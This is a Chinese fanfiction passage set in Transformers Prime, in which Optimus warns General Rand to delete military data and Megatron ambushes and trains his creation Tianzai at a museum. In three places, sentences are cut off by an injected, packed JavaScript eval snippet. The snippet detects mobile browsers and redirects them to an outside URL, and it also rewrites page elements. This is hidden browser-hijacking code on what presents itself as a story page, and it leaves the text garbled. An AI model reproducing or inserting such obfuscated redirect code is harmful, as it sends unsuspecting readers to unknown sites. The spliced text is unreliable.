兰德内心一紧,后颈瞬间被吓出了一层冷汗,此时此刻他才像是恍然梦醒意识到这架一直对着他们和颜悦色的红蓝色机甲也是率领一支军队和霸天虎抗争过四百万年的战争领袖,而不是任由他们揉搓的绵羊。 和霸天虎打成平手的机甲又怎么可能真的像他表现出来的那样安然无害。 擎天柱的面甲被背后投来的阴影遮盖,领袖微微倾身,增添了一丝不容拒绝的威严,声线也不复从前的和颜悦色。 “我要求人类在24小时内删除全部数据。” 他向着兰德将军提出最后通牒。 兰德清楚自己脸上的表情一定已经出卖了他,但领袖那双无机质的光学镜依然死死盯着他,直直锁定着人类瞳孔中的恐惧。 兰德这才想起到底为什么他要力排众议启动这个项目。 擎天柱的目光逐渐与他们降临那日投向人类们毫无感情的视线重合,兰德将军从那一日起便再未睡过一个安稳的觉。 他们怎么可能真的放任这些毫无感情的战争机器对他们为所欲为! 恐惧在兰德将军的心中进一步发酵,他硬着头皮还欲开口缓和,然而领袖的眸色一变,红色的肩甲映在人类惊惶的瞳孔中。 领袖的光学镜中倒映出悲悯的神色,让人类几乎想要突破自己的畏惧去撕破他的神性,扯开他虚伪的面具。 然而兰德却动弹不得,眼睁睁听着领袖说道: “我是在拯救你们。” 你们这些外星人!怎么敢说出这种话! 兰德将军的脸上交替地出现愤怒与恐惧,他怎么敢带着上位种族的傲慢对他们说出这种话! 在心底,一个绝不会被承认的念头——擎天柱该死地像一个活着的神明。 兰德将军又怎么可能承认这一点,他握紧了拳头,额头上青筋暴起。 是你们将不属于我们的战争带到这个世界,又凭什么以这种姿态告诫他们安于现状,难道人类就只配成为你们脚底的蝼蚁吗! 兰德将军目眦欲裂。 然而领袖依然用着那样一副面孔说着兰德根本不想再听的话。 擎天柱收回战术口罩,出于对人类军方的尊重。 “否则,我害怕霸天虎会先一步侦测到你们的信号。”他诚恳又担忧地说道。 领袖的好心完全没有被兰德将军接收,人类几乎咬碎了自己的牙齿,这又算什么,怜悯吗?难道不是你们将他们引到这个世界的吗? 事到如今又在呵斥人类为了自保所研究的东西是多管闲事,停下你虚伪的说教!人类绝不可能坐以待毙! 然而现实里,兰德的嘴唇紧紧咬着,不发一语。 良久,领袖轻叹,“兰德将军,我们会在24小时后确保军方的资料库中不存在任何损害赛博坦人生命的科技内容,这也是我对你们最后一次的警告。” “……我见识过太多这样的悲剧,不要被表象所蒙蔽,霸天虎从不是一种选择,它是内心的阴影,如果你在歧路走得太远,它就会找上你。” “不要让自己变成战争的罪魁祸首。”他最后说道,随后汽车人的通讯戛然而止。 在黑暗的屏幕上映出兰德将军难看的神色,他退后几步,脱力地瘫坐在了椅子中。 此时他才察觉到自己的后背已经全然湿透了。 几日没有出现的副将不知何时出现在他身侧,面无表情地为他递过来一杯咖啡,兰德没有接过。 副将凑到他耳边,“将军,既然擎天柱已经知晓,我们要不要……” 还没缓和下来的兰德冷眼瞥了他一眼,一字字从牙里挤出来道:“你能顶着擎天柱的警告瞒天过海的话,我没有意见。” 副将将腰弯得更低了些,不说话了。 兰德将军揉了揉自己的太阳穴,强行压下了心底的不适。 “先按擎天柱说的,删了吧,”他心烦意乱地说,“和这些活着的网络幽灵没必要费这份心。” “反正我们已经有了更重要的底牌。” “最要紧的那份资料他们应该还不知道,先将重心都调整到天灾身上。他会是我们翻盘抓住主动权的关键。” 他微微迟疑,继续说道:“让你手底下的人做好准备。” “……也许我们和汽车人交战的机会就快到了。” 副将低下头低声应是,晦涩的神情从人类的眼中一闪而过。 汽车人基地中。 领袖关上通讯。 救护车:“怎么样?” 擎天柱依然盯着屏幕,眉眼中并没出现如释重负,反而更加忧心忡忡。 “不太好,救护车,我有种不好的预感。” 医官叹口气,走过来拍了拍他的肩甲。 “你已经将话都说明白了,也将霸天虎的威胁告诉了他们,就凭人类的防火墙,再任由他们研究下去,声波一定会注意到他们,到时候人类只会遭到霸天虎的打击报复。” “我们已经做到仁至义尽了,如果他们一意孤行,我们也没办法改变现况。” “如果他们足够聪明,就该照你说的做。”救护车说。 “也许吧,救护车,但我总有种不好的预感。” 擎天柱艰难地将视线移开屏幕,一抬眼便看到了脚手架上三个人类孩子兴致勃勃地谈论着贾斯帕最近盛行的新传说,争先说着自己了解到的黑色幽灵的新故事。 擎天柱脸上的忧愁渐消,他又看向身侧的老朋友。 “我总是不放心,赛博坦科技对人类的吸引力无疑是巨大的,但他们还没做好准备接收这些科技……而且我……” “啊,你又要说那些话了,”救护车看向领袖的光学镜,“但现实就是如此,你做不到拯救所有人。” “可霸天虎毕竟是跟随我们才……” “可那不是你的错!”救护车严肃地说道,“算我求你,别再把责任都背在你自己身上了,是霸天虎挑起了战争,是他们造成了这四百万年的伤痛,如果站起反抗也是你的错的话,我们的种族早在霸天虎崛起之初就该死亡殆尽了!” 他叹了口气。 “我们需要你,一个永远会对不公和暴力说不的机甲,一个永远坚韧不拔的火种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“得了吧救护车,我们都知道这是最终都会发生的。他们都还是个需要监护人的幼生体呢!这瞒不住他们的sire!” 说到sire…… 几个人类心照不宣地交换了个眼神。 “天灾最近有消息吗?” “没,他和那些量产机就像人间蒸发了一样,机体的磁场信号彻底从雷达上消失了。” 美琪还担心着领袖的亲子,更何况他现在不光要照顾他自己。 “可你们不是说只要赛博坦人出现在地球上……” 救护车拍了下桌子,对美琪怀疑自己的想法表示了反对。 “可也不是绝对的,地球的磁场本就很混乱,更何况他的CPU本就是为了战争设计的,躲避雷达简直就刻在他的本能上。”他说。 “好吧好吧。”美琪摊了摊手,在沙发上躺得四仰八叉。 杰克推开她伸过来的腿,无奈地说:“如果他有困难,我相信他会求救的。” 拉菲也附和道:“是啊,毕竟他很聪明。” 小男孩得到了大孩子们赞同的回视。 救护车没有再参与进对话,眼睛盯着侦测敌人的监视器。 平静持续了几分钟。 直到突然,一道刺耳的声音在基地内响起,刚刚被劝去休息的领袖立刻走了过来,近乎让人怀疑他到底有没有真的进行休息。 救护车眼前的雷达上,赫然出现了一红一紫两道信号。 “那是……那是霸天虎和汽车人的识别标志!” “他们下落的速度还在加快!预计会落在……雷波瑞斯裂谷!!!” 领袖眸色一沉。 “汽车人!出发!” 73.霸天虎式会面 同一时间,霸天虎战舰上收到了同样的信号。 然而和当机立断的汽车人不同,威震天沉吟片刻,并没有下达出击命令。 他背着手站在甲板上,脸色晦暗不清,天边的火光气势汹汹突破了大气层的封锁,在战机猩红的光学镜中逐渐化为两道拖着尾翼的流星。 战机几乎能够看见领袖在陆地桥中冲出来的矫健身影和那双坚毅又耀眼的光学镜。 威震天冷哼。 他在报应号上研究黑暗超能量体的期间并不代表霸天虎和汽车人之间便真的维持了和平,虽然还未和擎天柱产生大型的冲突,但霸天虎和汽车人之间断断续续的小型冲突一直未停。 凭借威震天的直觉,从那群汽车人的只言片语中推断出天灾与擎天柱曾产生过交战并身处劣势并非难事。 威震天唯一为此感到意外地只有领袖竟然会为亲缘关系让步。 他暗自喟叹,擎天柱啊擎天柱,优柔寡断终于让你在战略上栽了跟头。 既然早已知晓原生体的重要性,在他自投罗网的那一刻就该将这种力量掌控在自己手中,而被亲缘关系蒙蔽了光学镜的你又做了什么。 任由他们的造物对造物主挑衅、利用,然后放任他离开? 愚蠢! 情感在战机扭曲的火种中逐渐发酵,威震天咬牙切齿。 伪善的领袖! 威震天从未掩盖他与奥利安亲密的过去,而正因如此,他才更加憎恨这一切。 如果天灾作为他和擎天柱的造物真的让领袖的铁石心肠也为之触动。 那么议会上奥利安又为何背叛了震天尊。 百万年前的一幕直到如今依然在威震天的脑中栩栩如生,被背叛者的怒火越长越烈,暴君身上蔓延的磁场让身侧的红蜘蛛和击倒如履薄冰。 银色的机甲几乎成了整个报应号上唯一的亮色,在空无一人的夜晚独自屹立在寒风之中。 在他身后,霸天虎的战斗部队默然无声地阵列在前,无声注视着他们的君主,丝毫没有被威震天溢出的情绪所影响。 量产机们混乱的磁场凝结成冰冷的铁链,影影绰绰的身影为寂静的夜渲染出肃杀之气。 飞行单位的引擎早已全部预热,只为首领的一声令下。 威震天依然保持着那种令人毛骨悚然的沉默。 直到无人机划过气流的破空声在威震天的音频接收器中乍然响起。 他纹丝未动,任由无人机以一个漂亮的空中转身降落在他面前。 瞬息之后,霸天虎深蓝色的情报官现出了身影。 “声波,我相信你给我带来了好消息。”威震天对此毫无意外,他盯着情报官冰冷的面甲慢条斯理地说道。 击倒和打击站在红蜘蛛身侧为听懂首领不允许失败的暗示打了个抖。 好在他眼前站着的机甲是声波,而声波从不让人失望。 情报官微微颌首。 面甲上的显示屏逐渐显化出小油罐车近几日在机械党与人类军方之间来回穿梭的行动轨迹。 一个红点儿跳跃着,那是他刚从插入到军方内部的“口子”中获得的信息,这足以让威震天周身蔓延开来的恐怖气场为之一收。 身侧的击倒长舒一口气,而红蜘蛛却将愤恨的目光投向了声波。 霸天虎的君主将情报收录进自己的CPU中,发出了今晚的第一个笑声。 他满意地夸奖了情报官优越的能力,而红蜘蛛不忿的面甲也在声波的显示屏上一闪而过。 将之归咎到日常档案的情报官丝毫没有为此分心,只是在内线中悄然询问着威震天的下一步计划。 「天灾的行踪:已确认」 「新的霸天虎信号:是否追踪?」 声波在内线的“开口”可能足以让一些机子为之面面相觑,但尽管这位赫赫有名的情报官在战前便为自己定下了行动高于语言的准则,并从此决定在解决掉赛博坦的沉疴之前不再说话,这也并不代表声波真的是一个哑巴。 赛博坦人除去言语还有更多可供交流的方式,情报官的沉默一直只在于他所谈话的对象是否值得他为之“发声”。 可惜的是大部分人不够资格声波为此费心。 但威震天显然不在此列。 看到内线的消息,威震天的面甲没有因此产生任何变化,他轻轻一瞥身侧没有藏好表情的副指挥官。 “我认为这个任务有一个人选格外合适,你说是吗,红蜘蛛。” 充满戾气的光学镜傲慢地扫过搜寻者藏不住怨恨和嫉妒的面具。 尽管红蜘蛛的“造反”几乎已经到了一个令人厌烦的程度,但霸天虎还需要他。 威震天将他和声波的龌龊看在眼里,也将霸天虎缺人的劣势看在眼里,正因如此,他得让红蜘蛛重新走回管理位。 红蜘蛛果不其然立刻领下了这个任务。 “当然大人,”这就是他戴罪立功的机会!红蜘蛛敏锐地意识到,“我会安排合适的人选完成这个任务!”也许这能帮他挽回他岌岌可危的地位。一次完美的胜利! 威震天没有再将目光留给急于立功的副官,对于另一个任务而言,一架不知何人的霸天虎飞船显然并不重要。 他一句话未说但声波却好似明白了首领的未竟之言一般微微欠身为他让开了道路。 威震天走向甲板边缘,身后的几架亲卫立刻跟在了首领身后。 “声波,接管好报应号。”CPU中显示出小油罐车的目前方位,威震天裂开一个不怀好意的笑,仿佛已经看到了未来美好的图景。 “我有一个家庭纷争要处理。” 战机喷射而出的火焰映红了报应号的半个甲板,情报官也得到了内线中威震天发来的最后一道加密任务。 「召唤流落在外的霸天虎们」 「告诉他们,他们的主人在地球等待着他们的到来」 「信息发送的范围是……」 「全宇宙。」 …… 公路上,小油罐车不急不慌地查看着机械党发给自己的坐标。 手中握住的力量第一次给了他安全的实感,久违的安逸足以让他暂时卸下一些防备。 然而车轮驶过荒野,人类的痕迹变得越来越多,人类的城市出现在眼前,早春的夜晚已经足够人类的青少年们走出家门彻夜狂欢,音频接收器中时不时接收到人类的声音。 随着时间的推移,周遭建筑中人造的灯光逐渐熄灭,油罐车的车速一降再降,等他到达目的地时,天灾已经彻底傻了眼。 那赫然是一座历史博物馆。 他小心翼翼地变形,压制住了机体变形发出的噪音。 大型机以一种超乎寻常的安静打开了臂甲上的探测器和位置坐标,再三确认这就是机械党在军方基地中找到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406004|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资料没有出错。 好吧,这就有些诡异了,人类的博物馆中又为什么会有赛博坦的磁场信号?更关键的,为什么军方没有先一步…… 思绪被身后战机的轰鸣打断。 CPU在捕捉到动静的瞬间判断出来者不善。 光学镜猛地睁大,顾不上被人类发现的风险,天灾的战斗模块在电光火石之间激活,手刃变形而出直直捅向自己的身后。 他的速度足够快,而哪怕是领袖面对自己刁钻的战斗角度也必定…… 刀刃没有传来刺入装甲的阻力,来不及天灾反应过来形势,一双尖锐而巨大的爪子一拳揍向了他的侧腹! “唔!” 手刃因为这一击偏离了方位,天灾嘴角呕出了一口能量液。 难以控制的剧痛瞬间席卷了他的CPU,运算进程被打断,系统弹出了猩红的警告,近乎让他的脑模块一瞬间宕机。 机体下意识地向前蜷缩起来,音频天线却已经先一步听到了敌人机体/液压系统轻微的加压声。 坏了! 天灾想要拉开和敌人的距离,然而机体却跟不上他脑模块的反应速度,他一个踉跄又被那双爪子死死按在了地上。 他在内芯狠狠辱骂了造成如今局面的塞拉斯。 他根本不可能拖着这幅身体和敌人近战!更遑论进攻者的格斗经验明显强于他! 意识到这点的油罐车刹那间改变了想法,抓住敌人近身搏斗的时机,天灾腿部装甲狠狠绞上敌人的腰腹! 实打实的触感告诉着他这一次他没有袭空,小腿上的刀刃顺利弹出,猩红的光学镜缩紧,他咬紧牙关,立刻反向用力! 锃! 赛博坦人血肉被划开的悦耳声音在他的耳边响起,蓝色的能量液以一道更美丽的弧度划破漆黑的夜。 袭击者没有发出疼痛的反馈,他甚至没有因为这明显命中的一击而退缩。 这是什么东西! 天灾在内芯惊骇,在原生体上线至今的人生中还没见过能顶住疼痛依然不知后退的机子。 袭击者庞大的身躯掩盖在月色下看不清样貌,然而棱角分明的银色装甲却逐渐让天灾的处理器中泛起更加浓烈的不安。 不敢托大,一击重创,天灾毫不恋战就想操控身体向后撤出与敌人交战的安全距离。 然而敌人仿佛未卜先知,在油罐车刚刚抬起头的一瞬间不退反进一只手按住他的面甲将他狠狠掼进了地里! 咔、哗啦!!! 背甲瞬间嵌入了地里,身后人类建筑的玻璃随之破碎,刺耳的警报声响彻了夜空! 天灾没忍住,摄食管中被强行压下的能量液混杂着金属零件从口中溅射而出,彻底侵染了原生体漆黑的涂装。 他被袭击者死死按在地里动弹不得,粗粗喘着气。 月光越过乌云,终于照亮了敌人的面甲。 天灾置换出一口浊气,艰难地启动自己的光学系统,近乎惊恐地看见了一双和自己同样猩红而暴戾的光学镜。 威震天压在他上方,露出了一个恶意满满的笑,捏住他面甲的手用力至极,几乎让天灾怀疑他想要捏碎他的头雕。 他的另一个sire立于他的上方,在creation瞪大的光学镜中缓缓说道: “小子,好久不见。” 这就是他和威震天的第二次见面——以一场袭击开始。 74.第一课 人类的建筑在他们身后粉碎,红色的灯光闪烁着发出刺耳的报警声,值夜班的警卫尖叫着从他们身边跑过,然而没有机甲为此分心。 浓重的夜色下霸天虎君主居高临下地俯视着被自己摁在地上的亲子,眼神中包含着审视,任由油罐车怎么挣扎,那双死死控制住他的手甲都没有任何的松动。 天灾的光学镜片因为霸天虎君主过大的手劲儿裂开了一道伤痕,逐渐渗出的能量液模糊了他的视觉系统,然而这对于原生体而言却说不定反而是好事。 任务因为威震天的横来一脚而宣告彻底失败,机械党安置于他机体内部的控制系统也因为这显著的重击而中断,监视器失控,塞拉斯只能不断通过他的内线询问着现场的情况。 天灾根本没有时间理他,他一边露出一双喷火的眸子冲着威震天呲牙一边屏蔽了耳边人类聒噪的噪音。 小油罐车急促地喘息着,被轻易控制的挫败感在火种中发酵,如果不是因为威震天刁钻的角度,天灾尖锐的犬齿就会狠狠贯穿他的手甲。 恼怒让他的光学镜越发猩红,然而CPU却渐渐从满屏的警告中恢复运作,他很快冷静地意识到不过多时这里发生的动静就会被军方捕捉,而透过外侧视觉,他能够捕捉到身后不断散发着赛博坦独特频率的物品就是被人类雕像举在头顶的金属球。 思考被打断。 他那来自霸天虎的另一个sire持着堪称足以止小儿夜啼的恐怖面甲凑近了他。 “作为我的造物,你未免过于孱弱。”他蔑视的眼神让天灾的光学镜尖锐地缩成了一团,霸天虎傲慢的暴君丝毫不掩盖他对天灾的失望。 “还是说,这就是你全部的本事?” 毫不遮掩的嘲讽从他的sire口中说出,那一瞬间原生体处理器中的弦彻底熔断,他一愣,随即是更加疯狂的反抗,其中流露的不管不顾让威震天的光学镜也流露出一丝惊讶来。 油罐车身后的排气管冒出滚烫的蒸汽,胡乱地蹬踹着身上的庞然大物,嘴中不断地发出愤怒的咆哮,锐利的双眼甩刀一样瞪着他名义上的父亲。 威震天迅速藏好了情绪。 惊讶,但也只限于此。 霸天虎只轻轻一瞥天灾腿上转动的轮胎便轻而易举地压制了他的动作。 对于熟悉领袖的威震天而言,对付这种大型机最简单的处理方法就是利用体型优势。 而很不幸,天灾不是擎天柱,激烈的情绪蒙蔽了原生体思考的能力而显得他的攻击越发没有章法。 他的反抗在威震天眼中简直犹如拿起刀的幼童一般可笑而不堪一击。 “我本以为经过这些日子的沉淀,你会有所成长。” 威震天依然不肯停下那张淬了毒的嘴,他满意地看见天灾眼中的猩红愈演愈烈,近乎覆盖了其中全部的清明。 “是人类让你过于安于现状了吗?你在他们之中找到了存在感而忘记了你身为赛博坦人的骄傲?”他遗憾地说。 原生体身上暴躁而混乱的磁场越发强烈,几乎和他淬火的眸子融合,也越发向他眼前的威震天靠拢。 威震天嘴角勾起了一抹隐晦的弧度。 就在此时,人类装甲车履带碾碎柏油地面的声音打破了他们之间的剑拔弩张。 探照灯从四面八方照过来,将交战的两个赛博坦人都笼罩在了惨白的光圈中。 威震天的外装甲泛着凛冽的流光,显得越发不可抵抗和威严异常,也衬托得他压制下的天灾越发狼狈。 威震天不爽地眯了眯光学镜,微微抬眼,只见十多架直升机悬停在他们上方,机枪瞄准了自己的胸口。 “立刻停止战斗!这里是x军陆军第一装甲师,我命令你们立刻停止战斗!” 天灾的处理器已经被一片猩红占据,他死死盯着威震天的面甲,对身侧发生的异变恍然未觉,也丝毫没有意识到,正冲着他们喊话的正是兰德将军手下的副将。 副将站在装甲车的顶部透过扩音器大喊,“重复!立刻……” 威震天没有被扰了兴致的恼怒,他不屑地嗤笑一声,跟随他而来的霸天虎亲卫立刻从他身后的黑暗中现出了身影,人类劝和的声音陡然一顿。 威震天就在此时突然松开了手。 天灾的CPU瞬间模拟出了几十种战斗策略,被愤怒驱动的机体这次突破了限制,立刻响应了脑模块下达的命令,左脚装甲上的刀锋带着破空声向着威震天踢去。 威震天的反应同样迅速,刀刃险而又险从他的脖颈擦过。 他微微后仰,余光瞥见天灾急速冲来的身影,油罐车的脚步落在人类身边溅起灰尘。 丝毫没有预料到天灾会不顾周围“友军”安危,人类大兵们发出惊恐的大叫,连滚带爬地慌乱撤出他们的战场。 两架机甲沉浸在战斗中对人类的动静丝毫不在意。 威震天大笑:“这才像样!” 原生体极速劈砍下来的刀锋被威震天毫不费力地接住。 “太慢了!” 霸天虎死死按住他的左手,一个侧踢踹上了天灾的小腹。 地面划出长长一道痕迹,这次天灾被踹开后没再因为伤势而踟蹰而是立刻顶了上去。 威震天一击完成动作尚未回落,天灾正是抓住了这个时机蓄力,跳起,刀锋划破周遭的空气带着肃杀之气直奔威震天的头雕而去! 天灾这一击明显没再留手,杀意从原生体的光学镜中溢出,被人类磨平了獠牙的战争武器终于有了些应有的锋芒。 裸露的杀意近乎冒犯,霸天虎不怒反笑,他发出野兽般的咆哮,前卡隆角斗场之王的骄傲在他的火种中跃动,抓住这久违的兴奋威震天硬接下了这一重击。 “你学的很快,”威震天吼道,战机腕甲格挡的瞬间擦出无数火花,“但太无力!” “在远比你强壮的敌人面前,不要卖弄你的力气!” 他的光学镜中迸发出同样的疯狂,死死抓住天灾的脚踝,狠狠抡向地面! 油罐车胸口的车窗金属碎裂,在原生体的痛呼中,威震天裂出一抹癫狂至极的笑,随即在天灾始料未及的震惊表情中将天灾狠狠甩了出去! 轰!!! 油罐车漆黑的机体夹杂着装甲碎片砸入了博物馆,背甲在地面犁出十几米的沟壑,灰尘瞬间四起! 本就四分五裂的博物馆不堪重负地散发着哀鸣坍塌,穹顶的钢化玻璃应声碎裂,暴雨般落下的建筑碎片中,人类们吓得不敢做声。 烟雾掩盖了天灾的机体,威震天活动了下肩甲,赛博坦人的机体散发出一阵阵热气,除了领袖,他已经很久没再和谁打得如此痛快过。 他高傲地抬起着自己的头雕,以胜利者的姿态逼近那团混乱。 他在扬起的烟尘中大笑。 “你的机体强度很不错,我可以给你这个。” “但真正的战士永远不会失去冷静,愤怒只会让你变得鲁莽。” “鲁莽滋生大意,在生死之间,这点儿大意足以将你置之死地。” “当你发现优势在我时,就该学会放弃自身的劣势,去利用你周边的环境以及手边的一切去削减我的优势。” 天灾依然没有动静,人类们狐疑的面面相觑。 威震天死盯着那团灰尘,他的造物绝不可能因为这些开胃菜而倒下,在电光火石之间威震天没有错误评估天灾机体的强度。 他远比他所想的更加强大,这也是威震天没有立刻失去兴致的原因。 他环视周围的碳基,流露出蔑视,他终于想起了领袖曾在通讯中告知自己的,啊,他们的造物竟然就被这些肉虫握在手中? 他发出威吓的低吼,人类们果不其然脸色苍白地流露出恐惧。 他满意地勾起嘴角,站到了曾是博物馆的那团废墟前。 “你的火种中充斥了怒火。” “然而知道为什么你远不是我的对手吗。”他慢条斯理地说。 “你的愤怒要有力量,让他们感到畏惧,否则你只是在自取其辱。” “这是我教你的第一课。” 威震天盯着那一团混乱,慢慢地,烟雾中亮起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霸天虎君主的爪子再次朝他的面甲而来,而这次显然是为了擒拿住他,威震天的面甲上没了似有似无的笑意,只带着势在必得的认真。 小油罐车的听觉天线一转,敏锐地捕捉到了战机身上管线的液压声和空气的异常流动。 他猛地侧身躲过了攻击,随即眼神一凌抓住了威震天的手腕。 霸天虎君主脸上诧异的神色一闪而过,下一瞬间天灾狠狠抬起左膝狠狠撞向了威震天的小腹! 这一击终于实打实地对威震天造成了痛感,天灾毫不恋战,在威震天缓过来之前猛地用力一个过肩摔将他扔了出去! 以此同时,人类的大兵也得到了副将撕心裂肺的怒吼,“攻击!攻击!攻击!” 在人类炮火全开的轰鸣中,威震天的亲卫和他们对轰起来,掩护自己暂时无法起身的首领。 天灾趁着这一瞬狠狠置换了一口气。 他还欲向前缠斗之际,威震天在烟雾缭绕中发出的怒吼和内线中的信息一同蹦了出来。 潜空:「跑!」 炮弹从天而降,四散在混乱的战场四周,人类发出了刺耳的尖叫,灰尘再次掩盖了所有人的视线。 油罐车挣扎片刻,终究还是狠狠咬了咬牙,变形成了油罐车在混乱中撞破人类的建筑冲上了公路。 威震天起身时,人类的威胁已经被他身侧的亲卫解决得差不多,副将在混乱之初便悄然撤退了。 霸天虎的首领确认了现场已经再没了油罐车的身影。 他的视线危险地扫向头顶的天空。 什么也没发现。 首领身后跟着的几架霸天虎亲卫士兵微不可察地一震,随即又恢复了正常。 没有人说话。 良久,威震天才在此刻露出了一个满意的笑容,不再掩饰光学镜中的赞赏。 “天灾吗……” “好小子。”